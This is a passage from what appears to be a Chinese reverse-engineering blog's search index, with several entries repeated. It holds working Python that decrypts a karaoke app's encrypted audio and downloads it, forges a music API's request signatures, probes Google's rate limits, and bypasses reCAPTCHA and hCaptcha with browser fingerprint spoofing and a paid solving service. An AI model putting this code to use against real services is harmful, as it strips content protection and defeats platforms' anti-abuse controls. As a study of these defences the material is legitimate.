f.write(decrypted) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:2","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#全某-k-歌某狗音乐音频解密"},{"categories":null,"collections":null,"content":"全某 K 歌/某狗音乐音频解密 全某 K 歌使用 .tkm 格式存储加密音频，解密算法基于预计算的异或表。 异或映射表生成 # 核心 Seed 映射表（256 字节） SEED_MAP = [ 0x77, 0x48, 0x32, 0x73, 0xDE, 0xF2, 0xC0, 0xC8, 0x95, 0xEC, 0x30, 0xB2, 0x51, 0xC3, 0xE1, 0xA0, 0x9E, 0xE6, 0x9D, 0xCF, 0xFA, 0x7F, 0x14, 0xD1, 0xCE, 0xB8, 0xDC, # ... 共 256 个字节 0x4A, 0x11 ] class Mask: \"\"\"生成解密掩码序列\"\"\" def __init__(self): self.index = 0 def next(self): \"\"\"计算下一个掩码字节\"\"\" v11 = self.index if v11 \u003e= 0x8000: v11 %= 0x7FFF # 核心算法：平方加常数取模后查表 result = SEED_MAP[(v11 * v11 + 80923) % 256] self.index += 1 return result 预计算异或文件生成 def generate_xbytes_file(): \"\"\"生成约 200MB 的异或表文件（一次性生成）\"\"\" mask = Mask() with open(\"xbytes\", \"wb\") as f: # 生成 209,771,520 字节的异或表 # 这个大小足以覆盖大多数音频文件 m = [mask.next() for _ in range(209771520)] f.write(bytes(m)) 音频解密实现 import sys class Kg: def __init__(self): self.xbytes_file = \"/path/to/xbytes\" # 预计算的异或表文件 def tkm2m4a(self, tkm_data): \"\"\"将加密的 .tkm 文件解密为 .m4a\"\"\" if len(tkm_data) \u003e 209771520: return None # 文件过大，超出异或表范围 with open(self.xbytes_file, \"rb\") as xbytes_file: xbytes = xbytes_file.read() # 将字节序列转换为大整数进行异或运算 int_tkm = int.from_bytes(tkm_data, sys.byteorder) int_xbytes = int.from_bytes(xbytes[:len(tkm_data)], sys.byteorder) # 核心解密：整数异或 m4a = (int_tkm ^ int_xbytes).to_bytes(len(tkm_data), sys.byteorder) return bytes(m4a) 伴奏下载完整流程 def download_accompany(self, mid): \"\"\"下载并解密全民K歌伴奏\"\"\" # 1. 获取 vkey（访问凭证） vkey = self.get_vkey() # 2. 构造媒体 URL media_url = f\"http://bsy.tsmusic.kg.qq.com/{media_mid}.tkm?vkey={vkey}\u0026guid=1736440468\u0026fromtag=0\" # 3. 下载加密音频 res = requests.get(media_url, headers=self.get_headers()) encrypted_data = res.content # 4. 解密为 m4a decrypted = self.tkm2m4a(encrypted_data) # 5. 保存文件 with open(f\"{mid}.m4a\", \"wb\") as f: f.write(decrypted) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:2","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#异或映射表生成"},{"categories":null,"collections":null,"content":"全某 K 歌/某狗音乐音频解密 全某 K 歌使用 .tkm 格式存储加密音频，解密算法基于预计算的异或表。 异或映射表生成 # 核心 Seed 映射表（256 字节） SEED_MAP = [ 0x77, 0x48, 0x32, 0x73, 0xDE, 0xF2, 0xC0, 0xC8, 0x95, 0xEC, 0x30, 0xB2, 0x51, 0xC3, 0xE1, 0xA0, 0x9E, 0xE6, 0x9D, 0xCF, 0xFA, 0x7F, 0x14, 0xD1, 0xCE, 0xB8, 0xDC, # ... 共 256 个字节 0x4A, 0x11 ] class Mask: \"\"\"生成解密掩码序列\"\"\" def __init__(self): self.index = 0 def next(self): \"\"\"计算下一个掩码字节\"\"\" v11 = self.index if v11 \u003e= 0x8000: v11 %= 0x7FFF # 核心算法：平方加常数取模后查表 result = SEED_MAP[(v11 * v11 + 80923) % 256] self.index += 1 return result 预计算异或文件生成 def generate_xbytes_file(): \"\"\"生成约 200MB 的异或表文件（一次性生成）\"\"\" mask = Mask() with open(\"xbytes\", \"wb\") as f: # 生成 209,771,520 字节的异或表 # 这个大小足以覆盖大多数音频文件 m = [mask.next() for _ in range(209771520)] f.write(bytes(m)) 音频解密实现 import sys class Kg: def __init__(self): self.xbytes_file = \"/path/to/xbytes\" # 预计算的异或表文件 def tkm2m4a(self, tkm_data): \"\"\"将加密的 .tkm 文件解密为 .m4a\"\"\" if len(tkm_data) \u003e 209771520: return None # 文件过大，超出异或表范围 with open(self.xbytes_file, \"rb\") as xbytes_file: xbytes = xbytes_file.read() # 将字节序列转换为大整数进行异或运算 int_tkm = int.from_bytes(tkm_data, sys.byteorder) int_xbytes = int.from_bytes(xbytes[:len(tkm_data)], sys.byteorder) # 核心解密：整数异或 m4a = (int_tkm ^ int_xbytes).to_bytes(len(tkm_data), sys.byteorder) return bytes(m4a) 伴奏下载完整流程 def download_accompany(self, mid): \"\"\"下载并解密全民K歌伴奏\"\"\" # 1. 获取 vkey（访问凭证） vkey = self.get_vkey() # 2. 构造媒体 URL media_url = f\"http://bsy.tsmusic.kg.qq.com/{media_mid}.tkm?vkey={vkey}\u0026guid=1736440468\u0026fromtag=0\" # 3. 下载加密音频 res = requests.get(media_url, headers=self.get_headers()) encrypted_data = res.content # 4. 解密为 m4a decrypted = self.tkm2m4a(encrypted_data) # 5. 保存文件 with open(f\"{mid}.m4a\", \"wb\") as f: f.write(decrypted) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:2","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#预计算异或文件生成"},{"categories":null,"collections":null,"content":"全某 K 歌/某狗音乐音频解密 全某 K 歌使用 .tkm 格式存储加密音频，解密算法基于预计算的异或表。 异或映射表生成 # 核心 Seed 映射表（256 字节） SEED_MAP = [ 0x77, 0x48, 0x32, 0x73, 0xDE, 0xF2, 0xC0, 0xC8, 0x95, 0xEC, 0x30, 0xB2, 0x51, 0xC3, 0xE1, 0xA0, 0x9E, 0xE6, 0x9D, 0xCF, 0xFA, 0x7F, 0x14, 0xD1, 0xCE, 0xB8, 0xDC, # ... 共 256 个字节 0x4A, 0x11 ] class Mask: \"\"\"生成解密掩码序列\"\"\" def __init__(self): self.index = 0 def next(self): \"\"\"计算下一个掩码字节\"\"\" v11 = self.index if v11 \u003e= 0x8000: v11 %= 0x7FFF # 核心算法：平方加常数取模后查表 result = SEED_MAP[(v11 * v11 + 80923) % 256] self.index += 1 return result 预计算异或文件生成 def generate_xbytes_file(): \"\"\"生成约 200MB 的异或表文件（一次性生成）\"\"\" mask = Mask() with open(\"xbytes\", \"wb\") as f: # 生成 209,771,520 字节的异或表 # 这个大小足以覆盖大多数音频文件 m = [mask.next() for _ in range(209771520)] f.write(bytes(m)) 音频解密实现 import sys class Kg: def __init__(self): self.xbytes_file = \"/path/to/xbytes\" # 预计算的异或表文件 def tkm2m4a(self, tkm_data): \"\"\"将加密的 .tkm 文件解密为 .m4a\"\"\" if len(tkm_data) \u003e 209771520: return None # 文件过大，超出异或表范围 with open(self.xbytes_file, \"rb\") as xbytes_file: xbytes = xbytes_file.read() # 将字节序列转换为大整数进行异或运算 int_tkm = int.from_bytes(tkm_data, sys.byteorder) int_xbytes = int.from_bytes(xbytes[:len(tkm_data)], sys.byteorder) # 核心解密：整数异或 m4a = (int_tkm ^ int_xbytes).to_bytes(len(tkm_data), sys.byteorder) return bytes(m4a) 伴奏下载完整流程 def download_accompany(self, mid): \"\"\"下载并解密全民K歌伴奏\"\"\" # 1. 获取 vkey（访问凭证） vkey = self.get_vkey() # 2. 构造媒体 URL media_url = f\"http://bsy.tsmusic.kg.qq.com/{media_mid}.tkm?vkey={vkey}\u0026guid=1736440468\u0026fromtag=0\" # 3. 下载加密音频 res = requests.get(media_url, headers=self.get_headers()) encrypted_data = res.content # 4. 解密为 m4a decrypted = self.tkm2m4a(encrypted_data) # 5. 保存文件 with open(f\"{mid}.m4a\", \"wb\") as f: f.write(decrypted) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:2","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#音频解密实现"},{"categories":null,"collections":null,"content":"全某 K 歌/某狗音乐音频解密 全某 K 歌使用 .tkm 格式存储加密音频，解密算法基于预计算的异或表。 异或映射表生成 # 核心 Seed 映射表（256 字节） SEED_MAP = [ 0x77, 0x48, 0x32, 0x73, 0xDE, 0xF2, 0xC0, 0xC8, 0x95, 0xEC, 0x30, 0xB2, 0x51, 0xC3, 0xE1, 0xA0, 0x9E, 0xE6, 0x9D, 0xCF, 0xFA, 0x7F, 0x14, 0xD1, 0xCE, 0xB8, 0xDC, # ... 共 256 个字节 0x4A, 0x11 ] class Mask: \"\"\"生成解密掩码序列\"\"\" def __init__(self): self.index = 0 def next(self): \"\"\"计算下一个掩码字节\"\"\" v11 = self.index if v11 \u003e= 0x8000: v11 %= 0x7FFF # 核心算法：平方加常数取模后查表 result = SEED_MAP[(v11 * v11 + 80923) % 256] self.index += 1 return result 预计算异或文件生成 def generate_xbytes_file(): \"\"\"生成约 200MB 的异或表文件（一次性生成）\"\"\" mask = Mask() with open(\"xbytes\", \"wb\") as f: # 生成 209,771,520 字节的异或表 # 这个大小足以覆盖大多数音频文件 m = [mask.next() for _ in range(209771520)] f.write(bytes(m)) 音频解密实现 import sys class Kg: def __init__(self): self.xbytes_file = \"/path/to/xbytes\" # 预计算的异或表文件 def tkm2m4a(self, tkm_data): \"\"\"将加密的 .tkm 文件解密为 .m4a\"\"\" if len(tkm_data) \u003e 209771520: return None # 文件过大，超出异或表范围 with open(self.xbytes_file, \"rb\") as xbytes_file: xbytes = xbytes_file.read() # 将字节序列转换为大整数进行异或运算 int_tkm = int.from_bytes(tkm_data, sys.byteorder) int_xbytes = int.from_bytes(xbytes[:len(tkm_data)], sys.byteorder) # 核心解密：整数异或 m4a = (int_tkm ^ int_xbytes).to_bytes(len(tkm_data), sys.byteorder) return bytes(m4a) 伴奏下载完整流程 def download_accompany(self, mid): \"\"\"下载并解密全民K歌伴奏\"\"\" # 1. 获取 vkey（访问凭证） vkey = self.get_vkey() # 2. 构造媒体 URL media_url = f\"http://bsy.tsmusic.kg.qq.com/{media_mid}.tkm?vkey={vkey}\u0026guid=1736440468\u0026fromtag=0\" # 3. 下载加密音频 res = requests.get(media_url, headers=self.get_headers()) encrypted_data = res.content # 4. 解密为 m4a decrypted = self.tkm2m4a(encrypted_data) # 5. 保存文件 with open(f\"{mid}.m4a\", \"wb\") as f: f.write(decrypted) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:2","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#伴奏下载完整流程"},{"categories":null,"collections":null,"content":"某米音乐 API 签名 某米音乐使用 Token + MD5 签名机制。 class XiaMi: def get_token_from_cookies(self, cookies): \"\"\"从 Cookie 中提取 Token\"\"\" if cookies: token = re.findall(\"xm_sg_tk=(.*?)_.*?;\", cookies) return token[0] if token else None def get_sign(self, key, token, query=\"\"): \"\"\"计算请求签名\"\"\" # 获取 API 路径 path = self.get_path(self.urls.get(key)) # 签名公式: md5(token + \"_xmMain_\" + path + \"_\" + query) return hashlib.md5(f\"{token}_xmMain_{path}_{query}\".encode()).hexdigest() def search_songs(self, keyword, page=1): \"\"\"歌曲搜索示例\"\"\" # 1. 获取 Token 和 Cookie ua_token, cookies = self.get_cookies() token = self.get_token_from_cookies(cookies) # 2. 构造查询参数 query = json.dumps({\"key\": keyword, \"pagingVO\": {\"page\": page, \"pageSize\": 30}}) # 3. 计算签名 sign = self.get_sign(\"song_search\", token, query) # 4. 构造 URL q = base64.b64encode(query.encode()).decode() url = f\"https://www.xiami.com/api/search/searchSongs?_q={q}\u0026_s={sign}\" # 5. 发送请求 headers = self.get_headers(xmua=ua_token, cookies=cookies) return requests.get(url, headers=headers).json() ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:3","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#某米音乐-api-签名"},{"categories":null,"collections":null,"content":"逆向要点总结 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:5:0","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#逆向要点总结"},{"categories":null,"collections":null,"content":"密钥提取策略 平台 加密方式 密钥位置 提取难度 网某云音乐 AES+RSA 硬编码在 JS/Java 代码中 中 Q某音乐 静态映射表 硬编码在 SO 文件中 高 某狗音乐 多表异或 SO 文件 + 服务端 高 某我音乐 XOR + RID SO 文件中静态密钥 低 某米音乐 MD5 签名 Cookie 中的 Token 低 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:5:1","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#密钥提取策略"},{"categories":null,"collections":null,"content":"通用逆向流程 抓包分析: 使用 Charles/Fiddler 捕获 HTTPS 请求，识别加密字段 定位加密点: 在 APK 中搜索 URL 路径或参数名，定位加密函数 分析算法: 静态分析 Java/Smali 代码，动态 Hook 验证 提取密钥: 从代码或内存中提取硬编码的密钥常量 复现实现: 使用 Python 等语言还原加密逻辑 绕过检测: 处理设备指纹、请求频率等风控策略 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:5:2","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#通用逆向流程"},{"categories":null,"collections":null,"content":"总结 这个案例展示了从客户端功能绕过，到网络协议分析，再到核心加密算法逆向的完整流程。它结合了 Java 层的 Hook 和 Native 层的分析，是移动端逆向中非常具有代表性的场景。 通过分析真实的音乐平台爬虫项目，我们可以看到： 加密复杂度差异: 不同平台的加密强度差异明显，从简单的 MD5 签名到复杂的双层 AES+RSA 音频加密特点: 音频数据加密通常采用流式加密（XOR/RC4）以保证性能 设备指纹重要性: 现代 App 大量依赖设备指纹进行风控，需要完整模拟 Native 层保护: 核心加密逻辑往往放在 SO 文件中，增加逆向难度 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:6:0","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#总结"},{"categories":null,"collections":null,"content":"搜索引擎对抗 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:0:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#搜索引擎对抗"},{"categories":null,"collections":null,"content":"概述 搜索引擎拥有业界最强的反爬虫防护机制。本文通过 5 个真实案例，讲解搜索引擎的防护技术及其对抗策略。 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:1:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#概述"},{"categories":null,"collections":null,"content":"案例 1: CAPTCHA 与频率限制绕过 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#案例-1-captcha-与频率限制绕过"},{"categories":null,"collections":null,"content":"背景 搜索引擎（Google、Bing、百度）使用 CAPTCHA（验证码）和 IP 频率限制来防止自动化爬取。 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#背景"},{"categories":null,"collections":null,"content":"防护机制 1. CAPTCHA 类型 Google reCAPTCHA v3: \u003cscript src=\"https://www.google.com/recaptcha/api.js?render=site_key\"\u003e\u003c/script\u003e \u003cscript\u003e grecaptcha.ready(function() { grecaptcha.execute('site_key', {action: 'search'}).then(function(token) { // 将 token 发送到服务器验证 document.getElementById('recaptcha_token').value = token; }); }); \u003c/script\u003e hCaptcha: \u003cdiv class=\"h-captcha\" data-sitekey=\"your_site_key\"\u003e\u003c/div\u003e \u003cscript src=\"https://js.hcaptcha.com/1/api.js\" async defer\u003e\u003c/script\u003e 2. 频率检测 基于以下指标: IP 地址: 单 IP 每分钟请求次数 User-Agent: 识别爬虫特征 Cookie: 追踪用户会话 行为模式: 请求间隔、搜索模式 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#防护机制"},{"categories":null,"collections":null,"content":"防护机制 1. CAPTCHA 类型 Google reCAPTCHA v3: hCaptcha: 2. 频率检测 基于以下指标: IP 地址: 单 IP 每分钟请求次数 User-Agent: 识别爬虫特征 Cookie: 追踪用户会话 行为模式: 请求间隔、搜索模式 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#1-captcha-类型"},{"categories":null,"collections":null,"content":"防护机制 1. CAPTCHA 类型 Google reCAPTCHA v3: hCaptcha: 2. 频率检测 基于以下指标: IP 地址: 单 IP 每分钟请求次数 User-Agent: 识别爬虫特征 Cookie: 追踪用户会话 行为模式: 请求间隔、搜索模式 ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#2-频率检测"},{"categories":null,"collections":null,"content":"逆向步骤 1. 分析 CAPTCHA 触发条件 import requests import time def test_rate_limit(): \"\"\"测试搜索引擎的频率限制阈值\"\"\" session = requests.Session() headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } captcha_triggered = False request_count = 0 while not captcha_triggered: response = session.get( 'https://www.google.com/search', params={'q': f'test query {request_count}'}, headers=headers ) request_count += 1 # 检测是否触发 CAPTCHA if 'captcha' in response.text.lower() or response.status_code == 429: print(f\"CAPTCHA triggered after {request_count} requests\") captcha_triggered = True else: print(f\"Request {request_count}: OK\") time.sleep(1) # 每秒 1 次请求 test_rate_limit() 结果: Google: 约 20-30 次/分钟（IP） Bing: 约 50-60 次/分钟 百度: 约 100 次/分钟 2. reCAPTCHA v3 绕过 reCAPTCHA v3 不显示验证码，而是评分（0.0-1.0）: from playwright.sync_api import sync_playwright import time class RecaptchaV3Bypass: def __init__(self): self.playwright = None self.browser = None def solve_recaptcha(self, url, site_key, action='search'): \"\"\" 通过模拟真实用户行为来提高 reCAPTCHA 评分 \"\"\" with sync_playwright() as p: # 使用真实浏览器配置 browser = p.chromium.launch( headless=False, # 非无头模式评分更高 args=[ '--disable-blink-features=AutomationControlled', '--disable-dev-shm-usage' ] ) context = browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) # 加载真实 Cookie（从浏览器导出） context.add_cookies([ { 'name': 'NID', 'value': 'your_google_cookie', 'domain': '.google.com', 'path': '/' } ]) page = context.new_page() # 模拟真实用户行为 page.goto(url) # 随机鼠标移动 for _ in range(10): x = random.randint(100, 800) y = random.randint(100, 600) page.mouse.move(x, y) time.sleep(random.uniform(0.1, 0.3)) # 触发 reCAPTCHA token = page.evaluate(f\"\"\" new Promise((resolve) =\u003e {{ grecaptcha.ready(() =\u003e {{ grecaptcha.execute('{site_key}', {{action: '{action}'}}) .then(token =\u003e resolve(token)); }}); }}) \"\"\") browser.close() return token def search_with_recaptcha(self, query): \"\"\"带 reCAPTCHA 的搜索\"\"\" token = self.solve_recaptcha( 'https://www.google.com', site_key='6LfxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxE' ) # 使用 token 进行搜索 response = requests.get( 'https://www.google.com/search', params={ 'q': query, 'recaptcha_token': token } ) return response.text 3. 使用第三方 CAPTCHA 求解服务 import requests from twocaptcha import TwoCaptcha class CaptchaSolver: def __init__(self, api_key): self.solver = TwoCaptcha(api_key) def solve_recaptcha_v2(self, site_key, page_url): \"\"\"求解 reCAPTCHA v2\"\"\" try: result = self.solver.recaptcha( sitekey=site_key, url=page_url ) return result['code'] except Exception as e: print(f\"Error: {e}\") return None def solve_hcaptcha(self, site_key, page_url): \"\"\"求解 hCaptcha\"\"\" try: result = self.solver.hcaptcha( sitekey=site_key, url=page_url ) return result['code'] except Exception as e: print(f\"Error: {e}\") return None # 使用示例 solver = CaptchaSolver(api_key='your_2captcha_api_key') token = solver.solve_recaptcha_v2( site_key='6LfxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxE', page_url='https://www.google.com/search?q=test' ) # 提交带 token 的请求 response = requests.post( 'https://www.google.com/search', data={ 'q': 'test', 'g-recaptcha-response': token } ) ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:3","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#逆向步骤"},{"categories":null,"collections":null,"content":"逆向步骤 1. 分析 CAPTCHA 触发条件 import requests import time def test_rate_limit(): \"\"\"测试搜索引擎的频率限制阈值\"\"\" session = requests.Session() headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } captcha_triggered = False request_count = 0 while not captcha_triggered: response = session.get( 'https://www.google.com/search', params={'q': f'test query {request_count}'}, headers=headers ) request_count += 1 # 检测是否触发 CAPTCHA if 'captcha' in response.text.lower() or response.status_code == 429: print(f\"CAPTCHA triggered after {request_count} requests\") captcha_triggered = True else: print(f\"Request {request_count}: OK\") time.sleep(1) # 每秒 1 次请求 test_rate_limit() 结果: Google: 约 20-30 次/分钟（IP） Bing: 约 50-60 次/分钟 百度: 约 100 次/分钟 2. reCAPTCHA v3 绕过 reCAPTCHA v3 不显示验证码，而是评分（0.0-1.0）: from playwright.sync_api import sync_playwright import time class RecaptchaV3Bypass: def __init__(self): self.playwright = None self.browser = None def solve_recaptcha(self, url, site_key, action='search'): \"\"\" 通过模拟真实用户行为来提高 reCAPTCHA 评分 \"\"\" with sync_playwright() as p: # 使用真实浏览器配置 browser = p.chromium.launch( headless=False, # 非无头模式评分更高 args=[ '--disable-blink-features=AutomationControlled', '--disable-dev-shm-usage' ] ) context = browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) # 加载真实 Cookie（从浏览器导出） context.add_cookies([ { 'name': 'NID', 'value': 'your_google_cookie', 'domain': '.google.com', 'path': '/' } ]) page = context.new_page() # 模拟真实用户行为 page.goto(url) # 随机鼠标移动 for _ in range(10): x = random.randint(100, 800) y = random.randint(100, 600) page.mouse.move(x, y) time.sleep(random.uniform(0.1, 0.3)) # 触发 reCAPTCHA token = page.evaluate(f\"\"\" new Promise((resolve) =\u003e {{ grecaptcha.ready(() =\u003e {{ grecaptcha.execute('{site_key}', {{action: '{action}'}}) .then(token =\u003e resolve(token)); }}); }}) \"\"\") browser.close() return token def search_with_recaptcha(self, query): \"\"\"带 reCAPTCHA 的搜索\"\"\" token = self.solve_recaptcha( 'https://www.google.com', site_key='6LfxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxE' ) # 使用 token 进行搜索 response = requests.get( 'https://www.google.com/search', params={ 'q': query, 'recaptcha_token': token } ) return response.text 3. 使用第三方 CAPTCHA 求解服务 import requests from twocaptcha import TwoCaptcha class CaptchaSolver: def __init__(self, api_key): self.solver = TwoCaptcha(api_key) def solve_recaptcha_v2(self, site_key, page_url): \"\"\"求解 reCAPTCHA v2\"\"\" try: result = self.solver.recaptcha( sitekey=site_key, url=page_url ) return result['code'] except Exception as e: print(f\"Error: {e}\") return None def solve_hcaptcha(self, site_key, page_url): \"\"\"求解 hCaptcha\"\"\" try: result = self.solver.hcaptcha( sitekey=site_key, url=page_url ) return result['code'] except Exception as e: print(f\"Error: {e}\") return None # 使用示例 solver = CaptchaSolver(api_key='your_2captcha_api_key') token = solver.solve_recaptcha_v2( site_key='6LfxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxE', page_url='https://www.google.com/search?q=test' ) # 提交带 token 的请求 response = requests.post( 'https://www.google.com/search', data={ 'q': 'test', 'g-recaptcha-response': token } ) ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:3","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#1-分析-captcha-触发条件"},{"categories":null,"collections":null,"content":"逆向步骤 1. 分析 CAPTCHA 触发条件 import requests import time def test_rate_limit(): \"\"\"测试搜索引擎的频率限制阈值\"\"\" session = requests.Session() headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } captcha_triggered = False request_count = 0 while not captcha_triggered: response = session.get( 'https://www.google.com/search', params={'q': f'test query {request_count}'}, headers=headers ) request_count += 1 # 检测是否触发 CAPTCHA if 'captcha' in response.text.lower() or response.status_code == 429: print(f\"CAPTCHA triggered after {request_count} requests\") captcha_triggered = True else: print(f\"Request {request_count}: OK\") time.sleep(1) # 每秒 1 次请求 test_rate_limit() 结果: Google: 约 20-30 次/分钟（IP） Bing: 约 50-60 次/分钟 百度: 约 100 次/分钟 2. reCAPTCHA v3 绕过 reCAPTCHA v3 不显示验证码，而是评分（0.0-1.0）: from playwright.sync_api import sync_playwright import time class RecaptchaV3Bypass: def __init__(self): self.playwright = None self.browser = None def solve_recaptcha(self, url, site_key, action='search'): \"\"\" 通过模拟真实用户行为来提高 reCAPTCHA 评分 \"\"\" with sync_playwright() as p: # 使用真实浏览器配置 browser = p.chromium.launch( headless=False, # 非无头模式评分更高 args=[ '--disable-blink-features=AutomationControlled', '--disable-dev-shm-usage' ] ) context = browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) # 加载真实 Cookie（从浏览器导出） context.add_cookies([ { 'name': 'NID', 'value': 'your_google_cookie', 'domain': '.google.com', 'path': '/' } ]) page = context.new_page() # 模拟真实用户行为 page.goto(url) # 随机鼠标移动 for _ in range(10): x = random.randint(100, 800) y = random.randint(100, 600) page.mouse.move(x, y) time.sleep(random.uniform(0.1, 0.3)) # 触发 reCAPTCHA token = page.evaluate(f\"\"\" new Promise((resolve) =\u003e {{ grecaptcha.ready(() =\u003e {{ grecaptcha.execute('{site_key}', {{action: '{action}'}}) .then(token =\u003e resolve(token)); }}); }}) \"\"\") browser.close() return token def search_with_recaptcha(self, query): \"\"\"带 reCAPTCHA 的搜索\"\"\" token = self.solve_recaptcha( 'https://www.google.com', site_key='6LfxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxE' ) # 使用 token 进行搜索 response = requests.get( 'https://www.google.com/search', params={ 'q': query, 'recaptcha_token': token } ) return response.text 3. 使用第三方 CAPTCHA 求解服务 import requests from twocaptcha import TwoCaptcha class CaptchaSolver: def __init__(self, api_key): self.solver = TwoCaptcha(api_key) def solve_recaptcha_v2(self, site_key, page_url): \"\"\"求解 reCAPTCHA v2\"\"\" try: result = self.solver.recaptcha( sitekey=site_key, url=page_url ) return result['code'] except Exception as e: print(f\"Error: {e}\") return None def solve_hcaptcha(self, site_key, page_url): \"\"\"求解 hCaptcha\"\"\" try: result = self.solver.hcaptcha( sitekey=site_key, url=page_url ) return result['code'] except Exception as e: print(f\"Error: {e}\") return None # 使用示例 solver = CaptchaSolver(api_key='your_2captcha_api_key') token = solver.solve_recaptcha_v2( site_key='6LfxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxE', page_url='https://www.google.com/search?q=test' ) # 提交带 token 的请求 response = requests.post( 'https://www.google.com/search', data={ 'q': 'test', 'g-recaptcha-response': token } ) ","date":"2025-07-27","objectID":"/reverse_engineering/web/05-case-studies/case_search_engine/:2:3","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"搜索引擎对抗","uri":"/reverse_engineering/web/05-case-studies/case_search_engine/#2-recaptcha-v3-绕过"},{"categories":null,"collections":null,"content":"逆向步骤 1. 分析 CAPTCHA 触发条件 import requests import time def test_rate_limit(): \"\"\"测试搜索引擎的频率限制阈值\"\"\" session = requests.Session() headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } captcha_triggered = False request_count = 0 while not captcha_triggered: response = session.get( 'https://www.google.com/search', params={'q': f'test query {request_count}'}, headers=headers ) request_count += 1 # 